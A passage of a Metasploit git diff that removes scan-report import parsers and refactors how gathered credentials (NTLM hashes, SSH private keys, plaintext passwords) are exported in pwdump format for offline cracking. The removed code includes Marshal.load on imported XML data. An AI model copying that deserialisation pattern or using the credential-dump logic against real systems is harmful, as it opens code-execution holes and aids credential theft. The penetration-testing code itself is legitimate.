find_qualys_asset_vuln_refs(doc) - vuln_refs = {} - doc.elements.each("/ASSET_DATA_REPORT/GLOSSARY/VULN_DETAILS_LIST/VULN_DETAILS") do |vuln| - next unless vuln.elements['QID'] && vuln.elements['QID'].first - qid = vuln.elements['QID'].first.to_s - vuln_refs[qid] ||= [] - vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref| - vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1]) - end - vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref| - vuln_refs[qid].push('BID-' + ref.elements['ID'].text.to_s) - end - end - return vuln_refs - end - - # Pull out vulnerabilities that have at least one matching - # ref -- many "vulns" are not vulns, just audit information. - def find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,task_id,&block) - host.elements.each("VULN_INFO_LIST/VULN_INFO") do |vi| - next unless vi.elements["QID"] - vi.elements.each("QID") do |qid| - next if vuln_refs[qid.text].nil? || vuln_refs[qid.text].empty? - handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil, nil, task_id) - end - end - end - - # Takes QID numbers and finds the discovered services in - # a qualys_asset_xml. - def find_qualys_asset_ports(i,host,wspace,hobj,task_id) - return unless (i == 82023 || i == 82004) - proto = i == 82023 ? 'tcp' : 'udp' - qid = host.elements["VULN_INFO_LIST/VULN_INFO/QID[@id='qid_#{i}']"] - qid_result = qid.parent.elements["RESULT[@format='table']"] if qid - hports = qid_result.first.to_s if qid_result - if hports - hports.scan(/([0-9]+)\t(.*?)\t.*?\t([^\t\n]*)/) do |match| - if match[2] == nil or match[2].strip == 'unknown' - name = match[1].strip - else - name = match[2].strip - end - handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, task_id) - end - end - end - - # - # Import Qualys's Asset Data Report format - # - def import_qualys_asset_xml(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - doc = rexmlify(data) - vuln_refs = find_qualys_asset_vuln_refs(doc) - - # 2nd pass, actually grab the hosts. - doc.elements.each("/ASSET_DATA_REPORT/HOST_LIST/HOST") do |host| - hobj = nil - addr = host.elements["IP"].text if host.elements["IP"] - next unless validate_ips(addr) - if bl.include? addr - next - else - yield(:address,addr) if block - end - hname = ( # Prefer NetBIOS over DNS - (host.elements["NETBIOS"].text if host.elements["NETBIOS"]) || - (host.elements["DNS"].text if host.elements["DNS"]) || - "" ) - hobj = report_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive, :task => args[:task]) - report_import_note(wspace,hobj) - - if host.elements["OPERATING_SYSTEM"] - hos = host.elements["OPERATING_SYSTEM"].text - report_note( - :workspace => wspace, - :task => args[:task], - :host => hobj, - :type => 'host.os.qualys_fingerprint', - :data => { :os => hos } - ) - end - - # Report open ports. - find_qualys_asset_ports(82023,host,wspace,hobj, args[:task]) # TCP - find_qualys_asset_ports(82004,host,wspace,hobj, args[:task]) # UDP - - # Report vulns - find_qualys_asset_vulns(host,wspace,hobj,vuln_refs, args[:task],&block) - - end # host - - end - - # - # Import Qualys' Scan xml output - # - def import_qualys_scan_xml_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - import_qualys_scan_xml(args.merge(:data => data)) - end - - def import_qualys_scan_xml(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - - - doc = rexmlify(data) - doc.elements.each('/SCAN/IP') do |host| - hobj = nil - addr = host.attributes['value'] - if bl.include? addr - next - else - yield(:address,addr) if block - end - hname = host.attributes['name'] || '' - - hobj = report_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive, :task => args[:task]) - report_import_note(wspace,hobj) - - if host.elements["OS"] - hos = host.elements["OS"].text - report_note( - :workspace => wspace, - :task => args[:task], - :host => hobj, - :type => 'host.os.qualys_fingerprint', - :data => { - :os => hos - } - ) - end - - # Open TCP Services List (Qualys ID 82023) - services_tcp = host.elements["SERVICES/CAT/SERVICE[@number='82023']/RESULT"] - if services_tcp - services_tcp.text.scan(/([0-9]+)\t(.*?)\t.*?\t([^\t\n]*)/) do |match| - if match[2] == nil or match[2].strip == 'unknown' - name = match[1].strip - else - name = match[2].strip - end - handle_qualys(wspace, hobj, match[0].to_s, 'tcp', 0, nil, nil, name, nil, args[:task]) - end - end - # Open UDP Services List (Qualys ID 82004) - services_udp = host.elements["SERVICES/CAT/SERVICE[@number='82004']/RESULT"] - if services_udp - services_udp.text.scan(/([0-9]+)\t(.*?)\t.*?\t([^\t\n]*)/) do |match| - if match[2] == nil or match[2].strip == 'unknown' - name = match[1].strip - else - name = match[2].strip - end - handle_qualys(wspace, hobj, match[0].to_s, 'udp', 0, nil, nil, name, nil, args[:task]) - end - end - - # VULNS are confirmed, PRACTICES are unconfirmed vulnerabilities - host.elements.each('VULNS/CAT | PRACTICES/CAT') do |cat| - port = cat.attributes['port'] - protocol = cat.attributes['protocol'] - cat.elements.each('VULN | PRACTICE') do |vuln| - refs = [] - qid = vuln.attributes['number'] - severity = vuln.attributes['severity'] - title = vuln.elements['TITLE'].text.to_s - vuln.elements.each('VENDOR_REFERENCE_LIST/VENDOR_REFERENCE') do |ref| - refs.push(ref.elements['ID'].text.to_s) - end - vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref| - refs.push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1]) - end - vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref| - refs.push('BID-' + ref.elements['ID'].text.to_s) - end - - handle_qualys(wspace, hobj, port, protocol, qid, severity, refs, nil,title, args[:task]) - end - end - end - end - - def import_ip_list_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - import_ip_list(args.merge(:data => data)) - end - - def import_ip_list(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - - data.each_line do |ip| - ip.strip! - if bl.include? ip - next - else - yield(:address,ip) if block - end - host = find_or_create_host(:workspace => wspace, :host=> ip, :state => Msf::HostState::Alive, :task => args[:task]) - end - end - - def import_amap_log_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - - case import_filetype_detect(data) - when :amap_log - import_amap_log(args.merge(:data => data)) - when :amap_mlog - import_amap_mlog(args.merge(:data => data)) - else - raise DBImportError.new("Could not determine file type") - end - end - - def import_amap_log(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - - data.each_line do |line| - next if line =~ /^#/ - next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n - addr = $1 - next if bl.include? addr - port = $2.to_i - proto = $3.downcase - name = $4 - host = find_or_create_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive, :task => args[:task]) - next if not host - yield(:address,addr) if block - info = { - :workspace => wspace, - :task => args[:task], - :host => host, - :proto => proto, - :port => port - } - if name != "unidentified" - info[:name] = name - end - service = find_or_create_service(info) - end - end - - def import_amap_mlog(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - - data.each_line do |line| - next if line =~ /^#/ - r = line.split(':') - next if r.length < 6 - - addr = r[0] - next if bl.include? addr - port = r[1].to_i - proto = r[2].downcase - status = r[3] - name = r[5] - next if status != "open" - - host = find_or_create_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive, :task => args[:task]) - next if not host - yield(:address,addr) if block - info = { - :workspace => wspace, - :task => args[:task], - :host => host, - :proto => proto, - :port => port - } - if name != "unidentified" - info[:name] = name - end - service = find_or_create_service(info) - end - end - - def import_ci_noko_stream(args, &block) - if block - doc = Rex::Parser::CIDocument.new(args,framework.db) {|type, data| yield type,data } - else - doc = Rex::Parser::CI.new(args,self) - end - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - def import_outpost24_xml(args={}, &block) - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - wspace = args[:wspace] || workspace - if Rex::Parser.nokogiri_loaded - parser = "Nokogiri v#{::Nokogiri::VERSION}" - noko_args = args.dup - noko_args[:blacklist] = bl - noko_args[:wspace] = wspace - if block - yield(:parser, parser) - import_outpost24_noko_stream(noko_args) {|type, data| yield type,data} - else - import_outpost24_noko_stream(noko_args) - end - return true - else # Sorry - raise DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") - end - end - - def import_outpost24_noko_stream(args={},&block) - if block - doc = Rex::Parser::Outpost24Document.new(args,framework.db) {|type, data| yield type,data } - else - doc = Rex::Parser::Outpost24Document.new(args,self) - end - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - - def unserialize_object(xml_elem, allow_yaml = false) - return nil unless xml_elem - string = xml_elem.text.to_s.strip - return string unless string.is_a?(String) - return nil if (string.empty? || string.nil?) - - begin - # Validate that it is properly formed base64 first - if string.gsub(/\s+/, '') =~ /^([a-z0-9A-Z\+\/=]+)$/ - Marshal.load($1.unpack("m")[0]) - else - if allow_yaml - begin - YAML.load(string) - rescue - dlog("Badly formatted YAML: '#{string}'") - string - end - else - string - end - end - rescue ::Exception => e - if allow_yaml - YAML.load(string) rescue string - else - string - end - end - end - - # - # Returns something suitable for the +:host+ parameter to the various report_* methods - # - # Takes a Host object, a Session object, an Msf::Session object or a String - # address - # - def normalize_host(host) - return host if host.kind_of? ::Mdm::Host - norm_host = nil - - if (host.kind_of? String) - - if Rex::Socket.is_ipv4?(host) - # If it's an IPv4 addr with a port on the end, strip the port - if host =~ /((\d{1,3}\.){3}\d{1,3}):\d+/ - norm_host = $1 - else - norm_host = host - end - elsif Rex::Socket.is_ipv6?(host) - # If it's an IPv6 addr, drop the scope - address, scope = host.split('%', 2) - norm_host = address - else - norm_host = Rex::Socket.getaddress(host, true) - end - elsif host.kind_of? ::Mdm::Session - norm_host = host.host - elsif host.respond_to?(:session_host) - # Then it's an Msf::Session object - thost = host.session_host - norm_host = thost - end - - # If we got here and don't have a norm_host yet, it could be a - # Msf::Session object with an empty or nil tunnel_host and tunnel_peer; - # see if it has a socket and use its peerhost if so. - if ( - norm_host.nil? and - host.respond_to?(:sock) and - host.sock.respond_to?(:peerhost) and - host.sock.peerhost.to_s.length > 0 - ) - norm_host = session.sock.peerhost - end - # If We got here and still don't have a real host, there's nothing left - # to try, just log it and return what we were given - if not norm_host - dlog("Host could not be normalized: #{host.inspect}") - norm_host = host - end - - norm_host - end - - # A way to sneak the yield back into the db importer. - # Used by the SAX parsers. - def emit(sym,data,&block) - yield(sym,data) - end - -protected - - # - # This holds all of the shared parsing/handling used by the - # Nessus NBE and NESSUS v1 methods - # - def handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data,task=nil) - addr = hobj.address - # The port section looks like: - # http (80/tcp) - p = port.match(/^([^\(]+)\((\d+)\/([^\)]+)\)/) - return if not p - - # Unnecessary as the caller should already have reported this host - #report_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive) - name = p[1].strip - port = p[2].to_i - proto = p[3].downcase - - info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task } - if name != "unknown" and name[-1,1] != "?" - info[:name] = name - end - report_service(info) - - if nasl.nil? || nasl.empty? || nasl == 0 || nasl == "0" - return - end - - data.gsub!("\\n", "\n") - - refs = [] - - if (data =~ /^CVE : (.*)$/) - $1.gsub(/C(VE|AN)\-/, '').split(',').map { |r| r.strip }.each do |r| - refs.push('CVE-' + r) - end - end - - if (data =~ /^BID : (.*)$/) - $1.split(',').map { |r| r.strip }.each do |r| - refs.push('BID-' + r) - end - end - - if (data =~ /^Other references : (.*)$/) - $1.split(',').map { |r| r.strip }.each do |r| - ref_id, ref_val = r.split(':') - ref_val ? refs.push(ref_id + '-' + ref_val) : refs.push(ref_id) - end - end - - nss = 'NSS-' + nasl.to_s.strip - refs << nss - - unless plugin_name.to_s.strip.empty? - vuln_name = plugin_name - else - vuln_name = nss - end - - vuln_info = { - :workspace => wspace, - :host => hobj, - :port => port, - :proto => proto, - :name => vuln_name, - :info => data, - :refs => refs, - :task => task, - } - report_vuln(vuln_info) - end - - # - # NESSUS v2 file format has a dramatically different layout - # for ReportItem data - # - def handle_nessus_v2(wspace,hobj,port,proto,name,nasl,nasl_name,severity,description,cve,bid,xref,msf,task=nil) - addr = hobj.address - - info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task } - - unless name =~ /^unknown$|\?$/ - info[:name] = name - end - - if port.to_i != 0 - report_service(info) - end - - if nasl.nil? || nasl.empty? || nasl == 0 || nasl == "0" - return - end - - refs = [] - - cve.each do |r| - r.to_s.gsub!(/C(VE|AN)\-/, '') - refs.push('CVE-' + r.to_s) - end if cve - - bid.each do |r| - refs.push('BID-' + r.to_s) - end if bid - - xref.each do |r| - ref_id, ref_val = r.to_s.split(':') - ref_val ? refs.push(ref_id + '-' + ref_val) : refs.push(ref_id) - end if xref - - msfref = "MSF-" << msf if msf - refs.push msfref if msfref - - nss = 'NSS-' + nasl - if nasl_name.nil? || nasl_name.empty? - vuln_name = nss - else - vuln_name = nasl_name - end - - refs << nss.strip - - vuln = { - :workspace => wspace, - :host => hobj, - :name => vuln_name, - :info => description ? description : "", - :refs => refs, - :task => task, - } - - if port.to_i != 0 - vuln[:port] = port - vuln[:proto] = proto - end - - report_vuln(vuln) - end - - # - # IP360 v3 vuln - # - def handle_ip360_v3_svc(wspace,hobj,port,proto,hname,task=nil) - addr = hobj.address - report_host(:workspace => wspace, :host => hobj, :state => Msf::HostState::Alive, :task => task) - - info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task } - if hname != "unknown" and hname[-1,1] != "?" - info[:name] = hname - end - - if port.to_i != 0 - report_service(info) - end - end #handle_ip360_v3_svc - - # - # IP360 v3 vuln - # - def handle_ip360_v3_vuln(wspace,hobj,port,proto,hname,vulnid,vulnname,cves,bids,task=nil) - info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task } - if hname != "unknown" and hname[-1,1] != "?" - info[:name] = hname - end - - if port.to_i != 0 - report_service(info) - end - - refs = [] - - cves.split(/,/).each do |cve| - refs.push(cve.to_s) - end if cves - - bids.split(/,/).each do |bid| - refs.push('BID-' + bid.to_s) - end if bids - - description = nil # not working yet - vuln = { - :workspace => wspace, - :host => hobj, - :name => vulnname, - :info => description ? description : "", - :refs => refs, - :task => task - } - - if port.to_i != 0 - vuln[:port] = port - vuln[:proto] = proto - end - - report_vuln(vuln) - end #handle_ip360_v3_vuln - - # - # Qualys report parsing/handling - # - def handle_qualys(wspace, hobj, port, protocol, qid, severity, refs, name=nil, title=nil, task=nil) - addr = hobj.address - port = port.to_i if port - - info = { :workspace => wspace, :host => hobj, :port => port, :proto => protocol, :task => task } - if name and name != 'unknown' and name != 'No registered hostname' - info[:name] = name - end - - if info[:host] && info[:port] && info[:proto] - report_service(info) - end - - fixed_refs = [] - if refs - refs.each do |ref| - case ref - when /^MS[0-9]{2}-[0-9]{3}/ - fixed_refs << "MSB-#{ref}" - else - fixed_refs << ref - end - end - end - - return if qid == 0 - title = 'QUALYS-' + qid if title.nil? or title.empty? - if addr - report_vuln( - :workspace => wspace, - :task => task, - :host => hobj, - :port => port, - :proto => protocol, - :name => title, - :refs => fixed_refs - ) - end - end - - def process_nexpose_data_sxml_refs(vuln) - refs = [] - vid = vuln.attributes['id'].to_s.downcase - vry = vuln.attributes['resultCode'].to_s.upcase - - # Only process vuln-exploitable and vuln-version statuses - return if vry !~ /^V[VE]$/ - - refs = [] - vuln.elements.each('id') do |ref| - rtyp = ref.attributes['type'].to_s.upcase - rval = ref.text.to_s.strip - case rtyp - when 'CVE' - refs << rval.gsub('CAN', 'CVE') - when 'MS' # obsolete? - refs << "MSB-MS-#{rval}" - else - refs << "#{rtyp}-#{rval}" - end - end - - refs << "NEXPOSE-#{vid}" - refs - end - -end - -end diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index 0a110f3006..61ac0b59ba 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -28,175 +28,19 @@ class Export true end - # Creates the PWDUMP text file. smb_hash and ssh_key credentials are - # treated specially -- all other ptypes are treated as plain text. - # - # Some day in the very near future, this file format will be importable -- - # the comment preceding the credential is always in the format of IPAddr:Port/Proto (name), - # so it should be a simple matter to read them back in and store credentials - # in the right place. Finally, this format is already parsable by John the Ripper, - # so hashes can be bruteforced offline. + + # Performs an export of the workspace's `Metasploit::Credential::Login` objects in pwdump format + # @param path [String] the path on the local filesystem where the exported data will be written + # @return [void] def to_pwdump_file(path, &block) - yield(:status, "start", "password dump") if block_given? - creds = extract_credentials - report_file = ::File.open(path, "wb") - report_file.write "# Metasploit PWDump Export v1\n" - report_file.write "# Generated: #{Time.now.utc}\n" - report_file.write "# Project: #{myworkspace.name}\n" - report_file.write "#\n" - report_file.write "#" * 40; report_file.write "\n" + exporter = Metasploit::Credential::Exporter::Pwdump.new(workspace: workspace) - count = count_credentials("smb_hash",creds) - scount = creds.has_key?("smb_hash") ? creds["smb_hash"].size : 0 - yield(:status, "start", "LM/NTLM Hash dump") if block_given? - report_file.write "# LM/NTLM Hashes (%d services, %d hashes)\n" % [scount, count] - write_credentials("smb_hash",creds,report_file) - - count = count_credentials("smb_netv1_hash",creds) - scount = creds.has_key?("smb_netv1_hash") ? creds["smb_netv1_hash"].size : 0 - yield(:status, "start", "NETLMv1/NETNTLMv1 Hash dump") if block_given? - report_file.write "# NETLMv1/NETNTLMv1 Hashes (%d services, %d hashes)\n" % [scount, count] - write_credentials("smb_netv1_hash",creds,report_file) - - count = count_credentials("smb_netv2_hash",creds) - scount = creds.has_key?("smb_netv2_hash") ? creds["smb_netv2_hash"].size : 0 - yield(:status, "start", "NETLMv2/NETNTLMv2 Hash dump") if block_given? - report_file.write "# NETLMv2/NETNTLMv2 Hashes (%d services, %d hashes)\n" % [scount, count] - write_credentials("smb_netv2_hash",creds,report_file) - - count = count_credentials("ssh_key",creds) - scount = creds.has_key?("ssh_key") ? creds["ssh_key"].size : 0 - yield(:status, "start", "SSH Key dump") if block_given? - report_file.write "# SSH Private Keys (%d services, %d keys)\n" % [scount, count] - write_credentials("ssh_key",creds,report_file) - - count = count_credentials("text",creds) - scount = creds.has_key?("text") ? creds["text"].size : 0 - yield(:status, "start", "Plaintext Credential dump") if block_given? - report_file.write "# Plaintext Credentials (%d services, %d credentials)\n" % [scount, count] - write_credentials("text",creds,report_file) - - report_file.flush - report_file.close - yield(:status, "complete", "password dump") if block_given? + File.open(path, 'w') do |file| + file << exporter.rendered_output + end true end - # Counts the total number of credentials for its type. - def count_credentials(ptype,creds) - sz = 0 - if creds[ptype] - creds[ptype].each_pair { |svc, data| data.each { |c| sz +=1 } } - end - return sz - end - - # Formats credentials according to their type, and writes it out to the - # supplied report file. Note for reimporting: Blank values are <BLANK> - def write_credentials(ptype,creds,report_file) - if creds[ptype] - creds[ptype].each_pair do |svc, data| - report_file.write "# #{svc}\n" - case ptype - when "smb_hash" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user - pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass - report_file.write "%s:%d:%s:::\n" % [user,c.id,pass] - end - when "smb_netv1_hash" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user - pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass - report_file.write "%s::%s\n" % [user,pass] - end - when "smb_netv2_hash" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user - pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass - if pass != "<BLANK>" - pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "<BLANK>" - end - if pass == "<BLANK>" - # Basically this is an error (maybe around [\x20-\x7e] in regex) above - report_file.write(user + "::" + pass + ":") - report_file.write(pass + ":" + pass + ":" + pass + "\n") - else - datas = pass.split(":") - if datas[1] != "00" * 24 - report_file.write "# netlmv2\n" - report_file.write(user + "::" + datas[0] + ":") - report_file.write(datas[3] + ":" + datas[1][0,32] + ":" + datas[1][32,16] + "\n") - end - report_file.write "# netntlmv2\n" - report_file.write(user + "::" + datas[0] + ":") - report_file.write(datas[3] + ":" + datas[2][0,32] + ":" + datas[2][32..-1] + "\n") - end - end - when "ssh_key" - data.each do |c| - if ::File.exists?(c.pass) && ::File.readable?(c.pass) - user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user - key = ::File.open(c.pass) {|f| f.read f.stat.size} - key_id = (c.proof && c.proof[/^KEY=/]) ? c.proof[4,47] : "<NO-ID>" - report_file.write "#{user} '#{key_id}'\n" - report_file.write key - report_file.write "\n" unless key[-1,1] == "\n" - # Report file missing / permissions issues in the report itself. - elsif !::File.exists?(c.pass) - report_file.puts "Warning: missing private key file '#{c.pass}'." - else - report_file.puts "Warning: could not read the private key '#{c.pass}'." - end - end - when "text" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : Rex::Text.ascii_safe_hex(c.user, true) - pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : Rex::Text.ascii_safe_hex(c.pass, true) - report_file.write "%s:%s:::\n" % [user,pass] - end - end - report_file.flush - end - else - report_file.write "# No credentials for this type were discovered.\n" - end - report_file.write "#" * 40; report_file.write "\n" - end - - # Extracts credentials and organizes by type, then by host, and finally by individual - # credential data. Will look something like: - # - # {"smb_hash" => {"host1:445" => [user1,user2,user3], "host2:445" => [user4,user5]}}, - # {"ssh_key" => {"host3:22" => [user10,user20]}}, - # {"text" => {"host4:23" => [user100,user101]}} - # - # This hash of hashes of arrays is, in turn, consumed by gen_export_pwdump. - def extract_credentials - creds = Hash.new - creds["ssh_key"] = {} - creds["smb_hash"] = {} - creds["text"] = {} - myworkspace.each_cred do |cred| - next unless host_allowed?(cred.service.host.address) - # Skip anything that's not associated with a specific host and port - next unless (cred.service && cred.service.host && cred.service.host.address && cred.service.port) - # TODO: Toggle active/all - next unless cred.active - svc = "%s:%d/%s (%s)" % [cred.service.host.address,cred.service.port,cred.service.proto,cred.service.name] - case cred.ptype - when /^password/ - ptype = "text" - else - ptype = cred.ptype - end - creds[ptype] ||= {} - creds[ptype][svc] ||= [] - creds[ptype][svc] << cred - end - return creds - end - def to_xml_file(path, &block) @@ -205,7 +49,7 @@ class Export report_file = ::File.open(path, "wb") report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n| - report_file.write %Q|<MetasploitV4>\n| + report_file.write %Q|<MetasploitV5>\n| report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/n,"_")}" product="framework"/>\n| yield(:status, "start", "hosts") if block_given? @@ -226,12 +70,6 @@ class Export extract_service_info(report_file) report_file.write %Q|</services>\n| - yield(:status, "start", "credentials") if block_given? - report_file.write %Q|<credentials>\n| - report_file.flush - extract_credential_info(report_file) - report_file.write %Q|</credentials>\n| - yield(:status, "start", "web sites") if block_given? report_file.write %Q|<web_sites>\n| report_file.flush @@ -263,7 +101,7 @@ class Export report_file.write %Q|</module_details>\n| - report_file.write %Q|</MetasploitV4>\n| + report_file.write %Q|</MetasploitV5>\n| report_file.flush report_file.close @@ -277,7 +115,6 @@ class Export extract_host_entries extract_event_entries extract_service_entries - extract_credential_entries extract_note_entries extract_vuln_entries extract_web_entries @@ -306,8 +143,7 @@ class Export # Extracts all credentials from a project, storing them in @creds def extract_credential_entries - @creds = [] - myworkspace.each_cred {|cred| @creds << cred} + @creds = Metasploit::Credential::Core.with_logins.with_public.with_private.workspace_id(myworkspace.id) end # Extracts all notes from a project, storing them in @notes @@ -346,14 +182,18 @@ class Export end end - def create_xml_element(key,value) + def create_xml_element(key,value,skip_encoding=false) tag = key.gsub("_","-") el = REXML::Element.new(tag) if value - data = marshalize(value) - data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding') - data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } - el << REXML::Text.new(data) + unless skip_encoding + data = marshalize(value) + data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding') + data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } + el << REXML::Text.new(data) + else + el << value + end end return el end @@ -383,7 +223,7 @@ class Export # Authors sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_authors>\n") - m.authors.find(:all).each do |d| + m.authors.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -394,7 +234,7 @@ class Export # Refs sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_refs>\n") - m.refs.find(:all).each do |d| + m.refs.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -406,7 +246,7 @@ class Export # Archs sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_archs>\n") - m.archs.find(:all).each do |d| + m.archs.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -418,7 +258,7 @@ class Export # Platforms sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_platforms>\n") - m.platforms.find(:all).each do |d| + m.platforms.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -430,7 +270,7 @@ class Export # Targets sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_targets>\n") - m.targets.find(:all).each do |d| + m.targets.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -441,7 +281,7 @@ class Export # Actions sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_actions>\n") - m.actions.find(:all).each do |d| + m.actions.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -452,7 +292,7 @@ class Export # Mixins sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_mixins>\n") - m.mixins.find(:all).each do |d| + m.mixins.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -479,7 +319,7 @@ class Export # Host details sub-elements report_file.write(" <host_details>\n") - h.host_details.find(:all).each do |d| + h.host_details.each do |d| report_file.write(" <host_detail>\n") d.attributes.each_pair do |k,v| el = create_xml_element(k,v) @@ -491,7 +331,7 @@ class Export # Host exploit attempts sub-elements report_file.write(" <exploit_attempts>\n") - h.exploit_attempts.find(:all).each do |d| + h.exploit_attempts.each do |d| report_file.write(" <exploit_attempt>\n") d.attributes.each_pair do |k,v| el = create_xml_element(k,v) @@ -503,7 +343,7 @@ class Export # Service sub-elements report_file.write(" <services>\n") - @services.find_all_by_host_id(host_id).each do |e| + @services.where(host_id: host_id).each do |e| report_file.write(" <service>\n") e.attributes.each_pair do |k,v| el = create_xml_element(k,v) @@ -515,7 +355,7 @@ class Export # Notes sub-elements report_file.write(" <notes>\n") - @notes.find_all_by_host_id(host_id).each do |e| + @notes.where(host_id: host_id).each do |e| report_file.write(" <note>\n") e.attributes.each_pair do |k,v| el = create_xml_element(k,v) @@ -527,7 +367,7 @@ class Export # Vulns sub-elements report_file.write(" <vulns>\n") - @vulns.find_all_by_host_id(host_id).each do |e| + @vulns.where(host_id: host_id).each do |e| report_file.write(" <vuln>\n") e.attributes.each_pair do |k,v| el = create_xml_element(k,v) @@ -545,7 +385,7 @@ class Export # Vuln details sub-elements report_file.write(" <vuln_details>\n") - e.vuln_details.find(:all).each do |d| + e.vuln_details.each do |d| report_file.write(" <vuln_detail>\n") d.attributes.each_pair do |k,v| el = create_xml_element(k,v) @@ -558,7 +398,7 @@ class Export # Vuln attempts sub-elements report_file.write(" <vuln_attempts>\n") - e.vuln_attempts.find(:all).each do |d| + e.vuln_attempts.each do |d| report_file.write(" <vuln_attempt>\n") d.attributes.each_pair do |k,v| el = create_xml_element(k,v) @@ -572,22 +412,6 @@ class Export end report_file.write(" </vulns>\n") - # Credential sub-elements - report_file.write(" <creds>\n") - @creds.each do |cred| - next unless cred.service.host.id == host_id - report_file.write(" <cred>\n") - report_file.write(" #{create_xml_element("port",cred.service.port)}\n") - report_file.write(" #{create_xml_element("sname",cred.service.name)}\n") - cred.attributes.each_pair do |k,v| - next if k.strip =~ /id$/ - el = create_xml_element(k,v) - report_file.write(" #{el}\n") - end - report_file.write(" </cred>\n") - end - report_file.write(" </creds>\n") - report_file.write(" </host>\n") end report_file.flush @@ -621,19 +445,6 @@ class Export report_file.flush end - # Extract credential data from @creds - def extract_credential_info(report_file) - @creds.each do |c| - report_file.write(" <credential>\n") - c.attributes.each_pair do |k,v| - cr = create_xml_element(k,v) - report_file.write(" #{cr}\n") - end - report_file.write(" </credential>\n") - report_file.write("\n") - end - report_file.flush - end # Extract service data from @services def extract_service_info(report_file) diff --git 